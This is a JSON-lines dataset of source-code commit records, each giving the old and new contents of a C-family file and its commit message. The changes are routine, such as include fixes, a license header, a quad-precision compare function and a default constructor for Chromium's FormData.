{"commit":"39a1884968170f7ca948a236ebc5d510c0c45af5","old_file":"test\/Analysis\/complex.c","new_file":"test\/Analysis\/complex.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\n#include <stdlib.h>\n\nint f1(int * p) {\n  \n  \/\/ This branch should be infeasible\n  \/\/ because __imag__ p is 0.\n  if (!p && __imag__ (intptr_t) p)\n    *p = 1; \/\/ no-warning\n\n  \/\/ If p != 0 then this branch is feasible; otherwise it is not.\n  if (__real__ (intptr_t) p)\n    *p = 1; \/\/ no-warning\n    \n  *p = 2; \/\/ expected-warning{{Dereference of null pointer}}\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\n#include <stdint.h>\n\nint f1(int * p) {\n  \n  \/\/ This branch should be infeasible\n  \/\/ because __imag__ p is 0.\n  if (!p && __imag__ (intptr_t) p)\n    *p = 1; \/\/ no-warning\n\n  \/\/ If p != 0 then this branch is feasible; otherwise it is not.\n  if (__real__ (intptr_t) p)\n    *p = 1; \/\/ no-warning\n    \n  *p = 2; \/\/ expected-warning{{Dereference of null pointer}}\n}\n","subject":"Include stdint.h instead of stdio.h.","message":"Include stdint.h instead of stdio.h.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@52578 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"b0ff8cced985ea177c9dfce6c452803ffe4ed949","old_file":"src\/soft\/float\/cmptf2.c","new_file":"src\/soft\/float\/cmptf2.c","old_contents":"","new_contents":"\/* This file is part of Metallic, a C++ library for WebAssembly.\n *\n * Copyright (C) 2017 Chen-Pang He <chen.pang.he@jdh8.org>\n *\n * This Source Code Form is subject to the terms of the Mozilla\n * Public License v. 2.0. If a copy of the MPL was not distributed\n * with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n#include \"isunorderedq.h\"\n\nint __cmptf2(long double x, long double y)\n{\n    __int128 a = *(__int128*)&x;\n    __int128 b = *(__int128*)&y;\n\n    if ((a|b) << 1 == 0)\n        return 0;\n\n    if (isunorderedq(x, y))\n        return 1;\n\n    int sign = (a & b) >> 127;\n\n    return ((a > b) - (a < b) + sign) ^ sign;\n}\n\n","subject":"Add compare function of quadruple precision","message":"Add compare function of quadruple precision\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"effc775ef0269be2600ec6ad61f905173ecfd428","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"\/*\n * The Homework Database\n *\n * Authors:\n *    Oliver Sharma and Joe Sventek\n *     {oliver, joe}@dcs.gla.ac.uk\n *\n * (c) 2009. All rights reserved.\n *\/\n#ifndef OCLIB_UTIL_H\n#define OCLIB_UTIL_H\n\n#include \"config.h\"\n#include \"logdefs.h\"\n\n#include <stdio.h>\n\n\/* -------- [MESSAGE] -------- *\/\n#ifdef NMSG\n#define MSG (void)\n#else\n#define MSG printf(\"DBSERVER> \"); printf\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * The Homework Database\n *\n * Authors:\n *    Oliver Sharma and Joe Sventek\n *     {oliver, joe}@dcs.gla.ac.uk\n *\n *\/\n#ifndef OCLIB_UTIL_H\n#define OCLIB_UTIL_H\n\n#include \"config.h\"\n#include \"logdefs.h\"\n\n#include <stdio.h>\n\n\/* -------- [MESSAGE] -------- *\/\n#ifdef NMSG\n#define MSG (void)\n#else\n#define MSG printf(\"DBSERVER> \"); printf\n#endif\n\n#endif\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"jsventek\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache"}
{"commit":"0d95270ddad8133f04047a15a6b8b2887a5d97a8","old_file":"src\/couv.c","new_file":"src\/couv.c","old_contents":"#include \"couv-private.h\"\n\nstatic int couv_hrtime(lua_State *L) {\n  lua_pushnumber(L, uv_hrtime() \/ 1e9);\n  return 1;\n}\n\nstatic const struct luaL_Reg functions[] = {\n  { \"hrtime\", couv_hrtime },\n  { NULL, NULL }\n};\n\nint luaopen_couv_native(lua_State *L) {\n  lua_createtable(L, 0, ARRAY_SIZE(functions) - 1);\n  couvL_setfuncs(L, functions, 0);\n\n  luaopen_couv_loop(L);\n\n  luaopen_couv_buffer(L);\n  luaopen_couv_fs(L);\n  luaopen_couv_ipaddr(L);\n\n  luaopen_couv_handle(L);\n  luaopen_couv_pipe(L);\n  luaopen_couv_stream(L);\n  luaopen_couv_tcp(L);\n  luaopen_couv_timer(L);\n  luaopen_couv_tty(L);\n  luaopen_couv_udp(L);\n\n  return 1;\n}\n","new_contents":"#include \"couv-private.h\"\n\nstatic int couv_hrtime(lua_State *L) {\n  lua_pushnumber(L, uv_hrtime());\n  return 1;\n}\n\nstatic const struct luaL_Reg functions[] = {\n  { \"hrtime\", couv_hrtime },\n  { NULL, NULL }\n};\n\nint luaopen_couv_native(lua_State *L) {\n  lua_createtable(L, 0, ARRAY_SIZE(functions) - 1);\n  couvL_setfuncs(L, functions, 0);\n\n  luaopen_couv_loop(L);\n\n  luaopen_couv_buffer(L);\n  luaopen_couv_fs(L);\n  luaopen_couv_ipaddr(L);\n\n  luaopen_couv_handle(L);\n  luaopen_couv_pipe(L);\n  luaopen_couv_stream(L);\n  luaopen_couv_tcp(L);\n  luaopen_couv_timer(L);\n  luaopen_couv_tty(L);\n  luaopen_couv_udp(L);\n\n  return 1;\n}\n","subject":"Change return value of hrtime from seconds to nano seconds.","message":"Change return value of hrtime from seconds to nano seconds.\n","lang":"C","license":"mit","repos":"hnakamur\/couv,hnakamur\/couv"}
{"commit":"01b0b70139f2378c410b089f843c61fb61583031","old_file":"Utilities\/vxl\/v3p\/netlib\/libf2c\/pow_ii.c","new_file":"Utilities\/vxl\/v3p\/netlib\/libf2c\/pow_ii.c","old_contents":"#include \"v3p_f2c.h\"\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef KR_headers\ninteger pow_ii(ap, bp) integer *ap, *bp;\n#else\ninteger pow_ii(integer *ap, integer *bp)\n#endif\n{\n        integer pow, x, n;\n        unsigned long u;\n\n        x = *ap;\n        n = *bp;\n\n        if (n <= 0) {\n                if (n == 0 || x == 1)\n                        return 1;\n                if (x != -1)\n                        return x == 0 ? 1\/x : 0;\n                n = -n;\n                }\n        u = n;\n        for(pow = 1; ; )\n                {\n                if(u & 01)\n                        pow *= x;\n                if(u >>= 1)\n                        x *= x;\n                else\n                        break;\n                }\n        return(pow);\n        }\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include \"v3p_f2c.h\"\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* The divide by zero below appears to be perhaps on purpose to create\n   a numerical exception.  *\/\n#ifdef _MSC_VER\n# pragma warning (disable: 4723) \/* potential divide by 0 *\/\n#endif\n\n#ifdef KR_headers\ninteger pow_ii(ap, bp) integer *ap, *bp;\n#else\ninteger pow_ii(integer *ap, integer *bp)\n#endif\n{\n        integer pow, x, n;\n        unsigned long u;\n\n        x = *ap;\n        n = *bp;\n\n        if (n <= 0) {\n                if (n == 0 || x == 1)\n                        return 1;\n                if (x != -1)\n                        return x == 0 ? 1\/x : 0;\n                n = -n;\n                }\n        u = n;\n        for(pow = 1; ; )\n                {\n                if(u & 01)\n                        pow *= x;\n                if(u >>= 1)\n                        x *= x;\n                else\n                        break;\n                }\n        return(pow);\n        }\n#ifdef __cplusplus\n}\n#endif\n","subject":"Disable divide by zero warning for VS6 to avoid modifying function implementation.","message":"COMP: Disable divide by zero warning for VS6 to avoid modifying function implementation.\n","lang":"C","license":"apache-2.0","repos":"InsightSoftwareConsortium\/ITK,rhgong\/itk-with-dom,LucHermitte\/ITK,LucasGandel\/ITK,cpatrick\/ITK-RemoteIO,jcfr\/ITK,paulnovo\/ITK,blowekamp\/ITK,eile\/ITK,GEHC-Surgery\/ITK,hjmjohnson\/ITK,atsnyder\/ITK,biotrump\/ITK,richardbeare\/ITK,jmerkow\/ITK,blowekamp\/ITK,vfonov\/ITK,jcfr\/ITK,malaterre\/ITK,jmerkow\/ITK,hjmjohnson\/ITK,vfonov\/ITK,msmolens\/ITK,fbudin69500\/ITK,fbudin69500\/ITK,BlueBrain\/ITK,fuentesdt\/InsightToolkit-dev,wkjeong\/ITK,jcfr\/ITK,PlutoniumHeart\/ITK,Kitware\/ITK,cpatrick\/ITK-RemoteIO,PlutoniumHeart\/ITK,eile\/ITK,daviddoria\/itkHoughTransform,daviddoria\/itkHoughTransform,GEHC-Surgery\/ITK,GEHC-Surgery\/ITK,zachary-williamson\/ITK,rhgong\/itk-with-dom,CapeDrew\/DITK,zachary-williamson\/ITK,blowekamp\/ITK,fedral\/ITK,thewtex\/ITK,fbudin69500\/ITK,paulnovo\/ITK,paulnovo\/ITK,eile\/ITK,ajjl\/ITK,blowekamp\/ITK,CapeDrew\/DITK,daviddoria\/itkHoughTransform,hendradarwin\/ITK,atsnyder\/ITK,hendradarwin\/ITK,biotrump\/ITK,fedral\/ITK,malaterre\/ITK,hendradarwin\/ITK,stnava\/ITK,heimdali\/ITK,fedral\/ITK,InsightSoftwareConsortium\/ITK,cpatrick\/ITK-RemoteIO,zachary-williamson\/ITK,CapeDrew\/DITK,ajjl\/ITK,LucHermitte\/ITK,malaterre\/ITK,ajjl\/ITK,thewtex\/ITK,InsightSoftwareConsortium\/ITK,hendradarwin\/ITK,spinicist\/ITK,zachary-williamson\/ITK,CapeDrew\/DCMTK-ITK,atsnyder\/ITK,rhgong\/itk-with-dom,jmerkow\/ITK,PlutoniumHeart\/ITK,rhgong\/itk-with-dom,LucasGandel\/ITK,hinerm\/ITK,fedral\/ITK,rhgong\/itk-with-dom,CapeDrew\/DITK,eile\/ITK,BlueBrain\/ITK,fedral\/ITK,wkjeong\/ITK,wkjeong\/ITK,BRAINSia\/ITK,CapeDrew\/DITK,wkjeong\/ITK,hjmjohnson\/ITK,spinicist\/ITK,vfonov\/ITK,msmolens\/ITK,biotrump\/ITK,jmerkow\/ITK,fedral\/ITK,daviddoria\/itkHoughTransform,eile\/ITK,fuentesdt\/InsightToolkit-dev,BlueBrain\/ITK,msmolens\/ITK,Kitware\/ITK,thewtex\/ITK,ajjl\/ITK,CapeDrew\/DCMTK-ITK,paulnovo\/ITK,blowekamp\/ITK,cpatrick\/ITK-RemoteIO,stnava\/ITK,biotrump\/ITK,itkvideo\/ITK,CapeDrew\/DCMTK-ITK,jmerkow\/ITK,GEHC-Surgery\/ITK,hinerm\/ITK,cpatrick\/ITK-RemoteIO,richardbeare\/ITK,heimdali\/ITK,jcfr\/ITK,msmolens\/ITK,biotrump\/ITK,hjmjohnson\/ITK,LucHermitte\/ITK,PlutoniumHeart\/ITK,malaterre\/ITK,wkjeong\/ITK,thewtex\/ITK,hinerm\/ITK,LucHermitte\/ITK,stnava\/ITK,jmerkow\/ITK,heimdali\/ITK,itkvideo\/ITK,malaterre\/ITK,atsnyder\/ITK,CapeDrew\/DITK,wkjeong\/ITK,stnava\/ITK,rhgong\/itk-with-dom,LucHermitte\/ITK,hjmjohnson\/ITK,GEHC-Surgery\/ITK,BRAINSia\/ITK,fedral\/ITK,LucasGandel\/ITK,BlueBrain\/ITK,BlueBrain\/ITK,daviddoria\/itkHoughTransform,hendradarwin\/ITK,eile\/ITK,LucHermitte\/ITK,vfonov\/ITK,heimdali\/ITK,ajjl\/ITK,CapeDrew\/DITK,itkvideo\/ITK,rhgong\/itk-with-dom,hendradarwin\/ITK,Kitware\/ITK,itkvideo\/ITK,BRAINSia\/ITK,LucasGandel\/ITK,CapeDrew\/DCMTK-ITK,zachary-williamson\/ITK,heimdali\/ITK,blowekamp\/ITK,CapeDrew\/DCMTK-ITK,GEHC-Surgery\/ITK,hendradarwin\/ITK,fbudin69500\/ITK,jcfr\/ITK,hjmjohnson\/ITK,itkvideo\/ITK,thewtex\/ITK,fuentesdt\/InsightToolkit-dev,itkvideo\/ITK,PlutoniumHeart\/ITK,CapeDrew\/DCMTK-ITK,zachary-williamson\/ITK,hinerm\/ITK,thewtex\/ITK,msmolens\/ITK,eile\/ITK,eile\/ITK,fuentesdt\/InsightToolkit-dev,LucasGandel\/ITK,stnava\/ITK,jmerkow\/ITK,hinerm\/ITK,LucasGandel\/ITK,spinicist\/ITK,fuentesdt\/InsightToolkit-dev,PlutoniumHeart\/ITK,CapeDrew\/DITK,itkvideo\/ITK,atsnyder\/ITK,msmolens\/ITK,Kitware\/ITK,wkjeong\/ITK,stnava\/ITK,vfonov\/ITK,GEHC-Surgery\/ITK,fbudin69500\/ITK,BRAINSia\/ITK,paulnovo\/ITK,jcfr\/ITK,vfonov\/ITK,heimdali\/ITK,zachary-williamson\/ITK,jcfr\/ITK,heimdali\/ITK,biotrump\/ITK,richardbeare\/ITK,paulnovo\/ITK,ajjl\/ITK,itkvideo\/ITK,InsightSoftwareConsortium\/ITK,atsnyder\/ITK,PlutoniumHeart\/ITK,biotrump\/ITK,zachary-williamson\/ITK,fuentesdt\/InsightToolkit-dev,stnava\/ITK,blowekamp\/ITK,zachary-williamson\/ITK,spinicist\/ITK,LucasGandel\/ITK,hinerm\/ITK,stnava\/ITK,GEHC-Surgery\/ITK,ajjl\/ITK,LucHermitte\/ITK,jmerkow\/ITK,BlueBrain\/ITK,hendradarwin\/ITK,daviddoria\/itkHoughTransform,InsightSoftwareConsortium\/ITK,spinicist\/ITK,heimdali\/ITK,PlutoniumHeart\/ITK,cpatrick\/ITK-RemoteIO,fuentesdt\/InsightToolkit-dev,thewtex\/ITK,fedral\/ITK,daviddoria\/itkHoughTransform,atsnyder\/ITK,spinicist\/ITK,fbudin69500\/ITK,fuentesdt\/InsightToolkit-dev,msmolens\/ITK,hinerm\/ITK,spinicist\/ITK,InsightSoftwareConsortium\/ITK,fuentesdt\/InsightToolkit-dev,wkjeong\/ITK,daviddoria\/itkHoughTransform,richardbeare\/ITK,atsnyder\/ITK,jcfr\/ITK,biotrump\/ITK,cpatrick\/ITK-RemoteIO,richardbeare\/ITK,malaterre\/ITK,malaterre\/ITK,InsightSoftwareConsortium\/ITK,fbudin69500\/ITK,BRAINSia\/ITK,blowekamp\/ITK,paulnovo\/ITK,BlueBrain\/ITK,LucasGandel\/ITK,spinicist\/ITK,BRAINSia\/ITK,vfonov\/ITK,richardbeare\/ITK,fbudin69500\/ITK,Kitware\/ITK,Kitware\/ITK,cpatrick\/ITK-RemoteIO,paulnovo\/ITK,msmolens\/ITK,BRAINSia\/ITK,daviddoria\/itkHoughTransform,vfonov\/ITK,CapeDrew\/DCMTK-ITK,CapeDrew\/DITK,spinicist\/ITK,vfonov\/ITK,Kitware\/ITK,atsnyder\/ITK,ajjl\/ITK,hjmjohnson\/ITK,malaterre\/ITK,eile\/ITK,CapeDrew\/DCMTK-ITK,BlueBrain\/ITK,LucHermitte\/ITK,hinerm\/ITK,CapeDrew\/DCMTK-ITK,hinerm\/ITK,malaterre\/ITK,itkvideo\/ITK,rhgong\/itk-with-dom,richardbeare\/ITK,stnava\/ITK"}
{"commit":"f1de1efb2a910bc36656ae4691b647ada74f6f88","old_file":"ios\/OAuthManager\/OAuthManager.h","new_file":"ios\/OAuthManager\/OAuthManager.h","old_contents":"\/\/\n\/\/  OAuthManager.h\n\/\/\n\/\/  Created by Ari Lerner on 5\/31\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(\"RCTBridgeModule.h\")\n    #import \"RCTBridgeModule.h\"\n#else\n    #import <React\/RCTBridgeModule.h>\n#endif\n\n#if __has_include(\"RCTLinkingManager.h\")\n    #import \"RCTLinkingManager.h\"\n#else\n    #import <React\/RCTLinkingManager.h>\n#endif\n\n\n\n@class OAuthClient;\n\nstatic NSString *kAuthConfig = @\"OAuthManager\";\n\n@interface OAuthManager : NSObject <RCTBridgeModule, UIWebViewDelegate>\n\n+ (instancetype) sharedManager;\n+ (BOOL)setupOAuthHandler:(UIApplication *)application;\n\n+ (BOOL)handleOpenUrl:(UIApplication *)application openURL:(NSURL *)url\n    sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n- (BOOL) _configureProvider:(NSString *) name andConfig:(NSDictionary *) config;\n- (NSDictionary *) getConfigForProvider:(NSString *)name;\n\n@property (nonatomic, strong) NSDictionary *providerConfig;\n@property (nonatomic, strong) NSArray *callbackUrls;\n\n@end\n","new_contents":"\/\/\n\/\/  OAuthManager.h\n\/\/\n\/\/  Created by Ari Lerner on 5\/31\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(<React\/RCTBridgeModule.h>)\n    #import <React\/RCTBridgeModule.h>\n#else\n    #import \"RCTBridgeModule.h\"\n#endif\n\n#if __has_include(<React\/RCTLinkingManager.h>)\n    #import <React\/RCTLinkingManager.h>\n#else\n    #import \"RCTLinkingManager.h\"\n#endif\n\n\n\n@class OAuthClient;\n\nstatic NSString *kAuthConfig = @\"OAuthManager\";\n\n@interface OAuthManager : NSObject <RCTBridgeModule, UIWebViewDelegate>\n\n+ (instancetype) sharedManager;\n+ (BOOL)setupOAuthHandler:(UIApplication *)application;\n\n+ (BOOL)handleOpenUrl:(UIApplication *)application openURL:(NSURL *)url\n    sourceApplication:(NSString *)sourceApplication annotation:(id)annotation;\n\n- (BOOL) _configureProvider:(NSString *) name andConfig:(NSDictionary *) config;\n- (NSDictionary *) getConfigForProvider:(NSString *)name;\n\n@property (nonatomic, strong) NSDictionary *providerConfig;\n@property (nonatomic, strong) NSArray *callbackUrls;\n\n@end\n","subject":"Duplicate RCTMethodInfo while building iOS app","message":"Fix: Duplicate RCTMethodInfo while building iOS app","lang":"C","license":"mit","repos":"fullstackreact\/react-native-oauth,fullstackreact\/react-native-oauth,fullstackreact\/react-native-oauth"}
{"commit":"46d5de0f96a81050a65aa72faabdb5554c906842","old_file":"c\/src\/ta_data\/ta_adddatasourceparam_priv.h","new_file":"c\/src\/ta_data\/ta_adddatasourceparam_priv.h","old_contents":"#ifndef TA_ADDDATASOURCEPARAM_PRIV_H\n#define TA_ADDDATASOURCEPARAM_PRIV_H\n\n\/* The following is a private copy of the user provided\n * parameters for a TA_AddDataSource call.\n *\n * Code is in 'ta_data_interface.c'\n *\/\ntypedef struct\n{\n  TA_SourceId   id;\n  TA_SourceFlag flags;\n  TA_Period     period;\n\n  TA_String *location;\n  TA_String *info;\n  TA_String *username;\n  TA_String *password;\n  TA_String *category;\n  TA_String *country;\n  TA_String *exchange;\n  TA_String *type;\n  TA_String *symbol;\n} TA_AddDataSourceParamPriv;\n\n\/* Function to alloc\/free a TA_AddDataSourceParamPriv. *\/\nTA_AddDataSourceParamPriv *TA_AddDataSourceParamPrivAlloc( const TA_AddDataSourceParam *param );\n\nTA_RetCode TA_AddDataSourceParamPrivFree( TA_AddDataSourceParamPriv *toBeFreed );\n\n#endif\n","new_contents":"#ifndef TA_ADDDATASOURCEPARAM_PRIV_H\n#define TA_ADDDATASOURCEPARAM_PRIV_H\n\n\/* The following is a private copy of the user provided\n * parameters for a TA_AddDataSource call.\n *\n * Code is in 'ta_data_interface.c'\n *\/\ntypedef struct\n{\n  TA_SourceId   id;\n  TA_SourceFlag flags;\n  TA_Period     period;\n\n  TA_String *location;\n  TA_String *info;\n  TA_String *username;\n  TA_String *password;\n  TA_String *category;\n  TA_String *country;\n  TA_String *exchange;\n  TA_String *type;\n  TA_String *symbol;\n  TA_String *name;\n} TA_AddDataSourceParamPriv;\n\n\/* Function to alloc\/free a TA_AddDataSourceParamPriv. *\/\nTA_AddDataSourceParamPriv *TA_AddDataSourceParamPrivAlloc( const TA_AddDataSourceParam *param );\n\nTA_RetCode TA_AddDataSourceParamPrivFree( TA_AddDataSourceParamPriv *toBeFreed );\n\n#endif\n","subject":"Add \"TA_String *name\" to TA_AddDataSourceParamPriv","message":"Add \"TA_String *name\" to TA_AddDataSourceParamPriv\n\n\ngit-svn-id: 33305d871a58cfd02b407b81d5206d2a785211eb@541 159cb52c-178a-4f3c-8eb8-d0aff033d058\n","lang":"C","license":"bsd-3-clause","repos":"shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib,shamanland\/ta-lib"}
{"commit":"f20b984aa6bffeaccdd9b789fc543c93f20271f9","old_file":"protocols\/groupwise\/libgroupwise\/tasks\/getdetailstask.h","new_file":"protocols\/groupwise\/libgroupwise\/tasks\/getdetailstask.h","old_contents":"\/\/\n\/\/ C++ Interface: getdetailstask\n\/\/\n\/\/ Description: \n\/\/\n\/\/\n\/\/ Author: SUSE AG <>, (C) 2004\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n\/\/\n\/\/\n#ifndef GETDETAILSTASK_H\n#define GETDETAILSTASK_H\n\n#include \"gwerror.h\"\n#include \"requesttask.h\"\n\n\/**\nThis task fetches the details for a set of user IDs from the server.  Sometimes we get an event that only has a DN, and we need other details before showing the event to the user.\n\n@author SUSE AG\n*\/\nusing namespace GroupWise;\n\nclass GetDetailsTask : public RequestTask\n{\nQ_OBJECT\npublic:\n\tGetDetailsTask( Task * parent );\n\t~GetDetailsTask();\n\tbool take( Transfer * transfer );\n\tvoid userDNs( const QStringList & userDNs );\nsignals:\n\tvoid gotContactUserDetails( const ContactDetails & );\nprotected:\n\tGroupWise::ContactDetails extractUserDetails( Field::MultiField * details );\n\n};\n\n#endif\n","new_contents":"\/\/\n\/\/ C++ Interface: getdetailstask\n\/\/\n\/\/ Description: \n\/\/\n\/\/\n\/\/ Author: SUSE AG <>, (C) 2004\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n\/\/\n\/\/\n#ifndef GETDETAILSTASK_H\n#define GETDETAILSTASK_H\n\n#include \"gwerror.h\"\n#include \"requesttask.h\"\n\n\/**\nThis task fetches the details for a set of user IDs from the server.  Sometimes we get an event that only has a DN, and we need other details before showing the event to the user.\n\n@author SUSE AG\n*\/\nusing namespace GroupWise;\n\nclass GetDetailsTask : public RequestTask\n{\nQ_OBJECT\npublic:\n\tGetDetailsTask( Task * parent );\n\t~GetDetailsTask();\n\tbool take( Transfer * transfer );\n\tvoid userDNs( const QStringList & userDNs );\nsignals:\n\tvoid gotContactUserDetails( const GroupWise::ContactDetails & );\nprotected:\n\tGroupWise::ContactDetails extractUserDetails( Field::MultiField * details );\n\n};\n\n#endif\n","subject":"Fix broken signal connection CVS_SILENT","message":"Fix broken signal connection\nCVS_SILENT\n\nsvn path=\/branches\/groupwise_in_anger\/kdenetwork\/kopete\/; revision=344030\n","lang":"C","license":"lgpl-2.1","repos":"josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete"}
{"commit":"3313382ec12352d9c7f2458cd293ed9f901aa38f","old_file":"webkit\/glue\/form_data.h","new_file":"webkit\/glue\/form_data.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  FormData() : user_submitted(false) {}\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","subject":"Add a default constructor for FormData. There are too many places that create FormDatas, and we shouldn't need to initialize user_submitted for each call site.","message":"AutoFill: Add a default constructor for FormData. There are too many places\nthat create FormDatas, and we shouldn't need to initialize user_submitted for\neach call site.\n\nBUG=50423\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/3074023\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@54641 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"rogerwang\/chromium,anirudhSK\/chromium,anirudhSK\/chromium,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,rogerwang\/chromium,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,fujunwei\/chromium-crosswalk,rogerwang\/chromium,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,anirudhSK\/chromium,ltilve\/chromium,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-c